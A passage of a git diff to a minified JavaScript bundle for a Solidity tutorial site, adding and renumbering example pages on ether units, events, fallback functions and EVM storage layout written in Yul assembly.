nQyNTYgYmFsID0gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgICAgIGlmIChiYWwgPCBfd2l0aGRyYXdBbW91bnQpIHsKICAgICAgICAgICAgcmV2ZXJ0IEluc3VmZmljaWVudEJhbGFuY2UoewogICAgICAgICAgICAgICAgYmFsYW5jZTogYmFsLAogICAgICAgICAgICAgICAgd2l0aGRyYXdBbW91bnQ6IF93aXRoZHJhd0Ftb3VudAogICAgICAgICAgICB9KTsKICAgICAgICB9CiAgICB9Cn0K"}],_b=`

                    An error will undo all changes made to the state during a transaction.

                    You can throw an error by calling require, revert or assert.

                    • require is used to validate inputs and conditions before execution.
                      • @@ -7222,7 +7222,7 @@ assertion probably means that there is a bug. assert(balance <= oldBalance); } } -`,Lb=({prev:s,next:a})=>r.jsx(u,{version:Eb,title:Ub,description:Tb,html:Db,prev:s,next:a,codes:Qb}),_b="0.8.24",Ob="Ether and Wei",Pb="An example of Ether and Wei in Solidity",$b=[{fileName:"EtherUnits.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyVW5pdHMgewogICAgdWludDI1NiBwdWJsaWMgb25lV2VpID0gMSB3ZWk7CiAgICAvLyAxIHdlaSBpcyBlcXVhbCB0byAxCiAgICBib29sIHB1YmxpYyBpc09uZVdlaSA9IDEgd2VpID09IDE7CgogICAgdWludDI1NiBwdWJsaWMgb25lRXRoZXIgPSAxIGV0aGVyOwogICAgLy8gMSBldGhlciBpcyBlcXVhbCB0byAxMF4xOCB3ZWkKICAgIGJvb2wgcHVibGljIGlzT25lRXRoZXIgPSAxIGV0aGVyID09IDFlMTg7Cn0K"}],qb=`

                      Transactions are paid with ether.

                      +`,Lb=({prev:s,next:a})=>r.jsx(u,{version:Db,title:Tb,description:Ub,html:_b,prev:s,next:a,codes:Qb}),Ob="0.8.24",Pb="Ether and Wei",$b="An example of Ether and Wei in Solidity",qb=[{fileName:"EtherUnits.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyVW5pdHMgewogICAgdWludDI1NiBwdWJsaWMgb25lV2VpID0gMSB3ZWk7CiAgICAvLyAxIHdlaSBpcyBlcXVhbCB0byAxCiAgICBib29sIHB1YmxpYyBpc09uZVdlaSA9IDEgd2VpID09IDE7CgogICAgdWludDI1NiBwdWJsaWMgb25lRXRoZXIgPSAxIGV0aGVyOwogICAgLy8gMSBldGhlciBpcyBlcXVhbCB0byAxMF4xOCB3ZWkKICAgIGJvb2wgcHVibGljIGlzT25lRXRoZXIgPSAxIGV0aGVyID09IDFlMTg7Cn0K"}],sw=`

                      Transactions are paid with ether.

                      Similar to how one dollar is equal to 100 cent, one ether is equal to 1018 wei.

                      // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -7236,7 +7236,7 @@ assertion probably means that there is a bug.
     // 1 ether is equal to 10^18 wei
     bool public isOneEther = 1 ether == 1e18;
 }
-
                      `,sw=({prev:s,next:a})=>r.jsx(u,{version:_b,title:Ob,description:Pb,html:qb,prev:s,next:a,codes:$b}),aw="0.8.24",nw="Events",lw="Example of how to emit events in Solidity",pw=[{fileName:"Events.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV2ZW50IHsKICAgIC8vIEV2ZW50IGRlY2xhcmF0aW9uCiAgICAvLyBVcCB0byAzIHBhcmFtZXRlcnMgY2FuIGJlIGluZGV4ZWQuCiAgICAvLyBJbmRleGVkIHBhcmFtZXRlcnMgaGVscHMgeW91IGZpbHRlciB0aGUgbG9ncyBieSB0aGUgaW5kZXhlZCBwYXJhbWV0ZXIKICAgIGV2ZW50IExvZyhhZGRyZXNzIGluZGV4ZWQgc2VuZGVyLCBzdHJpbmcgbWVzc2FnZSk7CiAgICBldmVudCBBbm90aGVyTG9nKCk7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgIkhlbGxvIFdvcmxkISIpOwogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJIZWxsbyBFVk0hIik7CiAgICAgICAgZW1pdCBBbm90aGVyTG9nKCk7CiAgICB9Cn0K"}],ew=`

                      Events allow logging to the Ethereum blockchain. Some use cases for events are:

                      +`,aw=({prev:s,next:a})=>r.jsx(u,{version:Ob,title:Pb,description:$b,html:sw,prev:s,next:a,codes:qb}),nw="0.8.24",lw="Events",pw="Example of how to emit events in Solidity",ew=[{fileName:"Events.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV2ZW50IHsKICAgIC8vIEV2ZW50IGRlY2xhcmF0aW9uCiAgICAvLyBVcCB0byAzIHBhcmFtZXRlcnMgY2FuIGJlIGluZGV4ZWQuCiAgICAvLyBJbmRleGVkIHBhcmFtZXRlcnMgaGVscHMgeW91IGZpbHRlciB0aGUgbG9ncyBieSB0aGUgaW5kZXhlZCBwYXJhbWV0ZXIKICAgIGV2ZW50IExvZyhhZGRyZXNzIGluZGV4ZWQgc2VuZGVyLCBzdHJpbmcgbWVzc2FnZSk7CiAgICBldmVudCBBbm90aGVyTG9nKCk7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgIkhlbGxvIFdvcmxkISIpOwogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJIZWxsbyBFVk0hIik7CiAgICAgICAgZW1pdCBBbm90aGVyTG9nKCk7CiAgICB9Cn0K"}],cw=`

                      Events allow logging to the Ethereum blockchain. Some use cases for events are:

                      • Listening for events and updating user interface
                      • A cheap form of storage
                        • @@ -7257,7 +7257,569 @@ assertion probably means that there is a bug. emit AnotherLog(); } } -`,cw=({prev:s,next:a})=>r.jsx(u,{version:aw,title:nw,description:lw,html:ew,prev:s,next:a,codes:pw}),tw="0.8.24",ow="Fallback",rw="Example of how to use fallback in Solidity",iw=[{fileName:"Fallback.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhbGxiYWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgZnVuYywgdWludDI1NiBnYXMpOwoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIG11c3QgYmUgZGVjbGFyZWQgYXMgZXh0ZXJuYWwuCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIC8vIHNlbmQgLyB0cmFuc2ZlciAoZm9yd2FyZHMgMjMwMCBnYXMgdG8gdGhpcyBmYWxsYmFjayBmdW5jdGlvbikKICAgICAgICAvLyBjYWxsIChmb3J3YXJkcyBhbGwgb2YgdGhlIGdhcykKICAgICAgICBlbWl0IExvZygiZmFsbGJhY2siLCBnYXNsZWZ0KCkpOwogICAgfQoKICAgIC8vIFJlY2VpdmUgaXMgYSB2YXJpYW50IG9mIGZhbGxiYWNrIHRoYXQgaXMgdHJpZ2dlcmVkIHdoZW4gbXNnLmRhdGEgaXMgZW1wdHkKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBlbWl0IExvZygicmVjZWl2ZSIsIGdhc2xlZnQoKSk7CiAgICB9CgogICAgLy8gSGVscGVyIGZ1bmN0aW9uIHRvIGNoZWNrIHRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKY29udHJhY3QgU2VuZFRvRmFsbGJhY2sgewogICAgZnVuY3Rpb24gdHJhbnNmZXJUb0ZhbGxiYWNrKGFkZHJlc3MgcGF5YWJsZSBfdG8pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICBfdG8udHJhbnNmZXIobXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsRmFsbGJhY2soYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIChib29sIHNlbnQsKSA9IF90by5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="},{fileName:"FallbackInputOutput.sol",code:"cHJhZ21hIHNvbGlkaXR5IF4wLjguMjQ7CgovLyBUZXN0RmFsbGJhY2tJbnB1dE91dHB1dCAtPiBGYWxsYmFja0lucHV0T3V0cHV0IC0+IENvdW50ZXIKY29udHJhY3QgRmFsbGJhY2tJbnB1dE91dHB1dCB7CiAgICBhZGRyZXNzIGltbXV0YWJsZSB0YXJnZXQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdGFyZ2V0KSB7CiAgICAgICAgdGFyZ2V0ID0gX3RhcmdldDsKICAgIH0KCiAgICBmYWxsYmFjayhieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCBwYXlhYmxlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IHRhcmdldC5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIHJldHVybiByZXM7CiAgICB9Cn0KCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gZ2V0KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIGluYygpIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICBjb3VudCArPSAxOwogICAgICAgIHJldHVybiBjb3VudDsKICAgIH0KfQoKY29udHJhY3QgVGVzdEZhbGxiYWNrSW5wdXRPdXRwdXQgewogICAgZXZlbnQgTG9nKGJ5dGVzIHJlcyk7CgogICAgZnVuY3Rpb24gdGVzdChhZGRyZXNzIF9mYWxsYmFjaywgYnl0ZXMgY2FsbGRhdGEgZGF0YSkgZXh0ZXJuYWwgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IF9mYWxsYmFjay5jYWxsKGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIGVtaXQgTG9nKHJlcyk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VGVzdERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSwgYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIChhYmkuZW5jb2RlQ2FsbChDb3VudGVyLmdldCwgKCkpLCBhYmkuZW5jb2RlQ2FsbChDb3VudGVyLmluYywgKCkpKTsKICAgIH0KfQo="}],gw=`

                        fallback is a special function that is executed either when

                        +`,tw=({prev:s,next:a})=>r.jsx(u,{version:nw,title:lw,description:pw,html:cw,prev:s,next:a,codes:ew}),ow="0.8.24",rw="EVM Storage",iw="Example of EVM storage in Solidity",gw=[{fileName:"EVMStorage.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// Yul - language used for Solidity inline assembly
contract YulIntro {
    // Yul assignment
    function test_yul_var() public pure returns (uint256) {
        uint256 s = 0;

        assembly {
            // Declare variable
            let x := 1
            // Reassign
            x := 2
            // Assign to Solidity variable
            s := 2
        }

        return s;
    }

    // Yul types (everything is bytes32)
    function test_yul_types()
        public
        pure
        returns (bool x, uint256 y, bytes32 z)
    {
        assembly {
            x := 1
            y := 0xaaa
            z := "Hello Yul"
        }

        return (x, y, z);
    }
}

contract EVMStorageSingleSlot {
    // EVM storage
    // 2**256 slots, each slot can store up to 32 bytes
    // Slots are assigned in the order the state variables are declared
    // Data < 32 bytes are packed into a slot (right to left)
    // sstore(k, v) = store v to slot k
    // sload(k) = load 32 bytes from slot k

    // Single variable stored in one slot
    // slot 0
    uint256 public s_x;
    // slot 1
    uint256 public s_y;
    // slot 2
    bytes32 public s_z;

    function test_sstore() public {
        assembly {
            sstore(0, 111)
            sstore(1, 222)
            sstore(2, 0xababab)
        }
    }

    function test_sstore_again() public {
        // Access slot using .slot
        assembly {
            sstore(s_x.slot, 123)
            sstore(s_y.slot, 456)
            sstore(s_z.slot, 0xcdcdcd)
        }
    }

    function test_sload()
        public
        view
        returns (uint256 x, uint256 y, bytes32 z)
    {
        assembly {
            x := sload(0)
            y := sload(1)
            z := sload(2)
        }

        return (x, y, z);
    }

    function test_sload_again()
        public
        view
        returns (uint256 x, uint256 y, bytes32 z)
    {
        assembly {
            x := sload(s_x.slot)
            y := sload(s_y.slot)
            z := sload(s_z.slot)
        }

        return (x, y, z);
    }
}

contract EVMStoratePackedSlotBytes {
    // slot 0 (packed right to left)
    bytes4 public b4 = 0xabababab;
    bytes2 public b2 = 0xcdcd;

    function get() public view returns (bytes32 b32) {
        assembly {
            b32 := sload(0)
        }
    }
}

contract BitMasking {
    function test_mask() public pure returns (bytes32 mask) {
        assembly {
            // |       256 bits        |
            // 000 ... 000 | 111 ... 111
            //             | 16 bits
            // 0x000000000000000000000000000000000000000000000000000000000000ffff
            mask := sub(shl(16, 1), 1)
        }
    }

    function test_shift_mask() public pure returns (bytes32 mask) {
        assembly {
            // |               256 bits                |
            // 000 ... 000 | 111 ... 111 | 000 ... 000 |
            //             | 16 bits     | 32 bits
            // 0x0000000000000000000000000000000000000000000000000000ffff00000000
            mask := shl(32, sub(shl(16, 1), 1))
        }
    }

    function test_not_mask() public pure returns (bytes32 mask) {
        assembly {
            // |               256 bits                |
            // 111 ... 111 | 000 ... 000 | 111 ... 111 |
            //             | 16 bits     | 32 bits
            // 0xffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffff
            mask := not(shl(32, sub(shl(16, 1), 1)))
        }
    }
}

contract EVMStoragePackedSlot {
    // Data < 32 bytes are packed into a slot
    // Bit masking (how to create 111...111)
    // slot, offset

    // slot 0
    uint128 public s_a;
    uint64 public s_b;
    uint32 public s_c;
    uint32 public s_d;
    // slot 1
    // 20 bytes = 160 bits
    address public s_addr;
    // 96 bits
    uint64 public s_x;
    uint32 public s_y;

    function test_sstore() public {
        assembly {
            // Load 32 bytes from slot0
            let v := sload(0)

            // s_d | s_c | s_b | s_a
            // 32  | 32  | 64  | 128 bits

            // Set s_a = 11
            // mask = all 1s at and to the left of 128 bit counting from right
            //        111 ... 111 | 000 ... 000
            //                    |    128 bits
            let mask_a := not(sub(shl(128, 1), 1))
            // Set left most 128 bits to 0
            v := and(v, mask_a)
            // Set s_a = 1
            v := or(v, 11)

            // Set s_b = 22
            // mask = 111...111 | 000 ... 000 | 111 ... 111
            //                  |     64 bits |    128 bits
            let mask_b := not(shl(128, sub(shl(64, 1), 1)))
            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
            v := and(v, mask_b)
            v := or(v, shl(128, 22))

            // Set s_c = 33
            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_c := not(shl(192, sub(shl(32, 1), 1)))
            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
            v := and(v, mask_c)
            v := or(v, shl(192, 33))

            // Set s_d = 44
            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_d := not(shl(224, sub(shl(32, 1), 1)))
            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
            v := and(v, mask_d)
            v := or(v, shl(224, 44))

            // Store new value to slot0
            sstore(0, v)
        }
    }

    function test_slot_0_offset()
        public
        pure
        returns (
            uint256 a_offset,
            uint256 b_offset,
            uint256 c_offset,
            uint256 d_offset
        )
    {
        // a_offset =  0 =  0 * 8 =   0 bits
        // b_offset = 16 = 16 * 8 = 128 bits
        // c_offset = 24 = 24 * 8 = 192 bits
        // d_offset = 28 = 28 * 8 = 224 bits
        assembly {
            a_offset := s_a.offset
            b_offset := s_b.offset
            c_offset := s_c.offset
            d_offset := s_d.offset
        }
    }

    function test_slot_1_offset()
        public
        pure
        returns (uint256 addr_offset, uint256 x_offset, uint256 y_offset)
    {
        // addr_offset = 0
        // x_offset = 20
        // y_offset = 28
        assembly {
            addr_offset := s_addr.offset
            x_offset := s_x.offset
            y_offset := s_y.offset
        }
    }

    // slot and offset
    function test_sstore_using_offset() public {
        // a_offset =  0 =  0 * 8 =   0 bits
        // b_offset = 16 = 16 * 8 = 128 bits
        // c_offset = 24 = 24 * 8 = 192 bits
        // d_offset = 28 = 28 * 8 = 224 bits
        assembly {
            // Load 32 bytes from slot0
            let v := sload(s_a.slot)

            // s_d | s_c | s_b | s_a
            // 32  | 32  | 64  | 128 bits

            // Set s_a = 111
            // mask = all 1s at and to the left of 128 bit counting from right
            //        111 ... 111 | 000 ... 000
            //                    |    128 bits
            let mask_a := not(sub(shl(128, 1), 1))
            // Set left most 128 bits to 0
            v := and(v, mask_a)
            // Set s_a = 1
            v := or(v, 111)

            // Set s_b = 222
            // mask = 111...111 | 000 ... 000 | 111 ... 111
            //                  |     64 bits |    128 bits
            let mask_b := not(shl(mul(s_b.offset, 8), sub(shl(64, 1), 1)))
            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
            v := and(v, mask_b)
            v := or(v, shl(mul(s_b.offset, 8), 222))

            // Set s_c = 333
            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_c := not(shl(mul(s_c.offset, 8), sub(shl(32, 1), 1)))
            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
            v := and(v, mask_c)
            v := or(v, shl(mul(s_c.offset, 8), 333))

            // Set s_d = 444
            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_d := not(shl(mul(s_d.offset, 8), sub(shl(32, 1), 1)))
            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
            v := and(v, mask_d)
            v := or(v, shl(mul(s_d.offset, 8), 444))

            // Store new value to slot0
            sstore(s_a.slot, v)
        }
    }
}

contract EVMStorageStruct {
    struct SingleSlot {
        uint128 x;
        uint64 y;
        uint64 z;
    }

    struct MultipleSlots {
        uint256 a;
        uint256 b;
        uint256 c;
    }

    // slot 0
    SingleSlot public single = SingleSlot({x: 1, y: 2, z: 3});
    // slot 1, 2, 3
    MultipleSlots public multi = MultipleSlots({a: 11, b: 22, c: 33});

    function test_get_single_slot_struct()
        public
        view
        returns (uint128 x, uint64 y, uint64 z)
    {
        assembly {
            let s := sload(0)
            // left 128 bits will be cut off when casted to uint128
            x := s

            // 000 ... 000 | 111 ... 111
            //             | 64 bits
            let mask_64 := sub(shl(64, 1), 1)

            y := and(mask_64, shr(128, s))
            z := and(mask_64, shr(192, s))
        }
    }

    function test_get_multiple_slots_struct()
        public
        view
        returns (uint256 a, uint256 b, uint256 c)
    {
        assembly {
            a := sload(1)
            b := sload(2)
            c := sload(3)
        }
    }
}

contract EVMStorageConstants {
    // slot 0
    uint256 public s0 = 1;
    // Constants and immutables don't use storage
    uint256 public constant X = 123;
    address public immutable owner;
    // slot 1
    uint256 public s1 = 2;

    constructor() {
        owner = msg.sender;
    }

    function test_get_slots() public view returns (uint256 v0, uint256 v1) {
        assembly {
            v0 := sload(0)
            v1 := sload(1)
        }
    }
}

contract EVMStorageFixedArray {
    // Fixed array with elements <= 32 bytes, slot of element = slot where array is declared + index of array element
    // slots 0, 1, 2
    uint256[3] private arr_0 = [1, 2, 3];
    // slots 3, 4, 5
    uint256[3] private arr_1 = [4, 5, 6];
    // slot + index of packed data
    // slots 6, 6, 7, 7, 8
    uint128[5] private arr_2 = [7, 8, 9, 10, 11];

    function test_arr_0(uint256 i) public view returns (uint256 v) {
        assembly {
            // arr_0 starts from slot 0
            v := sload(add(0, i))
        }
    }

    function test_arr_1(uint256 i) public view returns (uint256 v) {
        assembly {
            // arr_1 starts from slot 3
            v := sload(add(3, i))
        }
    }

    function test_arr_2(uint256 i) public view returns (uint128 v) {
        assembly {
            // arr_2 starts from slot 6
            let b32 := sload(add(6, div(i, 2)))
            // slot 6 = 1st element | 0th element
            // slot 7 = 3rd element | 2nd element
            // slot 8 = 000 ... 000 | 4th element

            // i is even => get right 128 bits => cast bytes32 to uint128 (cut off left 128 bits)
            // i is odd  => get left 128 bits  => shift right 128 bits

            switch mod(i, 2)
            case 1 { v := shr(128, b32) }
            default { v := b32 }
        }
    }
}

contract EVMStorageDynamicArray {
    // slot of element = keccak256(slot where this array is declared) + index of element
    // keccak256(0) + index
    uint256[] private arr = [11, 22, 33];

    function test_arr(uint256 i) public view returns (uint256 v, uint256 len) {
        uint256 slot = 0;
        bytes32 start = keccak256(abi.encode(slot));

        assembly {
            len := sload(slot)
            v := sload(add(start, i))
        }
    }
}

contract EVMStorageMapping {
    // slot of value = keccack256(key, slot where mapping is declared)
    mapping(address => uint256) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);
    address public constant ADDR_3 = address(3);

    constructor() {
        map[ADDR_1] = 11;
        map[ADDR_2] = 22;
        map[ADDR_3] = 33;
    }

    function test_mapping(address key) public view returns (uint256 v) {
        uint256 slot = 0;
        bytes32 slot_v = keccak256(abi.encode(key, slot));

        assembly {
            v := sload(slot_v)
        }
    }
}

contract EVMStorageNestedMapping {
    // key0 => key1 => val
    // slot of value = keccak256(key1, keccack256(key0, slot where nested mapping is declared))
    mapping(address => mapping(address => uint256)) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);
    address public constant ADDR_3 = address(3);

    constructor() {
        map[ADDR_1][ADDR_2] = 11;
        map[ADDR_2][ADDR_3] = 22;
        map[ADDR_3][ADDR_1] = 33;
    }

    function test_nested_mapping(address key_0, address key_1)
        public
        view
        returns (uint256 v)
    {
        uint256 slot = 0;
        bytes32 s0 = keccak256(abi.encode(key_0, slot));
        bytes32 s1 = keccak256(abi.encode(key_1, s0));

        assembly {
            v := sload(s1)
        }
    }
}

contract EVMStorageMappingArray {
    // slot of value in a mapping = keccak256(key, slot)
    // slot of array element = keccak256(slot) + index
    // mapping -> array -> keccak256(keccak256(key, slot of map declaration)) + index
    mapping(address => uint256[]) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);

    constructor() {
        map[ADDR_1].push(11);
        map[ADDR_1].push(22);
        map[ADDR_1].push(33);
        map[ADDR_2].push(44);
        map[ADDR_2].push(55);
        map[ADDR_2].push(66);
    }

    function test_map_arr(address addr, uint256 i)
        public
        view
        returns (uint256 v, uint256 len)
    {
        uint256 map_slot = 0;
        bytes32 map_hash = keccak256(abi.encode(addr, map_slot));
        bytes32 arr_hash = keccak256(abi.encode(map_hash));

        assembly {
            len := sload(map_hash)
            v := sload(add(arr_hash, i))
        }
    }
}

contract EVMStorageDynamicArrayStruct {
    struct Point {
        uint256 x;
        uint128 y;
        uint128 z;
    }

    // slot of element = keccak256(slot where this array is declared) + index of element
    // keccak256(0) + index * size of struct
    Point[] private arr;

    constructor() {
        arr.push(Point(11, 22, 33));
        arr.push(Point(44, 55, 66));
        arr.push(Point(77, 88, 99));
    }

    function test_struct_arr(uint256 i)
        public
        view
        returns (uint256 x, uint128 y, uint128 z, uint256 len)
    {
        uint256 slot = 0;
        bytes32 start = keccak256(abi.encode(slot));

        assembly {
            len := sload(slot)
            // s0 = keccak256(0)
            // index | slot        | values
            //     0 | slot s0 + 0 | arr[0].x
            //     0 | slot s0 + 1 | arr[0].z | arr[0].y
            //     1 | slot s0 + 2 | arr[1].x
            //     1 | slot s0 + 3 | arr[1].z | arr[1].y
            //     2 | slot s0 + 4 | arr[2].x
            //     2 | slot s0 + 5 | arr[2].z | arr[2].y
            x := sload(add(start, mul(i, 2)))
            let zy := sload(add(start, add(mul(i, 2), 1)))
            // uint128 cuts off left most 128 bits from 32 bytes
            y := zy
            z := shr(128, zy)
        }
    }
}
"}],hw=`

                        Examples of

                        +
                          +
                        • Reading and writing to storage with assembly
                          • +
                        • Storage layout of different data types
                          • +
                        +
                        // SPDX-License-Identifier: MIT
+pragma solidity ^0.8.24;
+
+// Yul - language used for Solidity inline assembly
+contract YulIntro {
+    // Yul assignment
+    function test_yul_var() public pure returns (uint256) {
+        uint256 s = 0;
+
+        assembly {
+            // Declare variable
+            let x := 1
+            // Reassign
+            x := 2
+            // Assign to Solidity variable
+            s := 2
+        }
+
+        return s;
+    }
+
+    // Yul types (everything is bytes32)
+    function test_yul_types()
+        public
+        pure
+        returns (bool x, uint256 y, bytes32 z)
+    {
+        assembly {
+            x := 1
+            y := 0xaaa
+            z := "Hello Yul"
+        }
+
+        return (x, y, z);
+    }
+}
+
+contract EVMStorageSingleSlot {
+    // EVM storage
+    // 2**256 slots, each slot can store up to 32 bytes
+    // Slots are assigned in the order the state variables are declared
+    // Data < 32 bytes are packed into a slot (right to left)
+    // sstore(k, v) = store v to slot k
+    // sload(k) = load 32 bytes from slot k
+
+    // Single variable stored in one slot
+    // slot 0
+    uint256 public s_x;
+    // slot 1
+    uint256 public s_y;
+    // slot 2
+    bytes32 public s_z;
+
+    function test_sstore() public {
+        assembly {
+            sstore(0, 111)
+            sstore(1, 222)
+            sstore(2, 0xababab)
+        }
+    }
+
+    function test_sstore_again() public {
+        // Access slot using .slot
+        assembly {
+            sstore(s_x.slot, 123)
+            sstore(s_y.slot, 456)
+            sstore(s_z.slot, 0xcdcdcd)
+        }
+    }
+
+    function test_sload()
+        public
+        view
+        returns (uint256 x, uint256 y, bytes32 z)
+    {
+        assembly {
+            x := sload(0)
+            y := sload(1)
+            z := sload(2)
+        }
+
+        return (x, y, z);
+    }
+
+    function test_sload_again()
+        public
+        view
+        returns (uint256 x, uint256 y, bytes32 z)
+    {
+        assembly {
+            x := sload(s_x.slot)
+            y := sload(s_y.slot)
+            z := sload(s_z.slot)
+        }
+
+        return (x, y, z);
+    }
+}
+
+contract EVMStoratePackedSlotBytes {
+    // slot 0 (packed right to left)
+    bytes4 public b4 = 0xabababab;
+    bytes2 public b2 = 0xcdcd;
+
+    function get() public view returns (bytes32 b32) {
+        assembly {
+            b32 := sload(0)
+        }
+    }
+}
+
+contract BitMasking {
+    function test_mask() public pure returns (bytes32 mask) {
+        assembly {
+            // |       256 bits        |
+            // 000 ... 000 | 111 ... 111
+            //             | 16 bits
+            // 0x000000000000000000000000000000000000000000000000000000000000ffff
+            mask := sub(shl(16, 1), 1)
+        }
+    }
+
+    function test_shift_mask() public pure returns (bytes32 mask) {
+        assembly {
+            // |               256 bits                |
+            // 000 ... 000 | 111 ... 111 | 000 ... 000 |
+            //             | 16 bits     | 32 bits
+            // 0x0000000000000000000000000000000000000000000000000000ffff00000000
+            mask := shl(32, sub(shl(16, 1), 1))
+        }
+    }
+
+    function test_not_mask() public pure returns (bytes32 mask) {
+        assembly {
+            // |               256 bits                |
+            // 111 ... 111 | 000 ... 000 | 111 ... 111 |
+            //             | 16 bits     | 32 bits
+            // 0xffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffff
+            mask := not(shl(32, sub(shl(16, 1), 1)))
+        }
+    }
+}
+
+contract EVMStoragePackedSlot {
+    // Data < 32 bytes are packed into a slot
+    // Bit masking (how to create 111...111)
+    // slot, offset
+
+    // slot 0
+    uint128 public s_a;
+    uint64 public s_b;
+    uint32 public s_c;
+    uint32 public s_d;
+    // slot 1
+    // 20 bytes = 160 bits
+    address public s_addr;
+    // 96 bits
+    uint64 public s_x;
+    uint32 public s_y;
+
+    function test_sstore() public {
+        assembly {
+            // Load 32 bytes from slot0
+            let v := sload(0)
+
+            // s_d | s_c | s_b | s_a
+            // 32  | 32  | 64  | 128 bits
+
+            // Set s_a = 11
+            // mask = all 1s at and to the left of 128 bit counting from right
+            //        111 ... 111 | 000 ... 000
+            //                    |    128 bits
+            let mask_a := not(sub(shl(128, 1), 1))
+            // Set left most 128 bits to 0
+            v := and(v, mask_a)
+            // Set s_a = 1
+            v := or(v, 11)
+
+            // Set s_b = 22
+            // mask = 111...111 | 000 ... 000 | 111 ... 111
+            //                  |     64 bits |    128 bits
+            let mask_b := not(shl(128, sub(shl(64, 1), 1)))
+            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
+            v := and(v, mask_b)
+            v := or(v, shl(128, 22))
+
+            // Set s_c = 33
+            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
+            //                  |   32 bits |     64 bits |    128 bits
+            let mask_c := not(shl(192, sub(shl(32, 1), 1)))
+            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
+            v := and(v, mask_c)
+            v := or(v, shl(192, 33))
+
+            // Set s_d = 44
+            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
+            //                  |   32 bits |     64 bits |    128 bits
+            let mask_d := not(shl(224, sub(shl(32, 1), 1)))
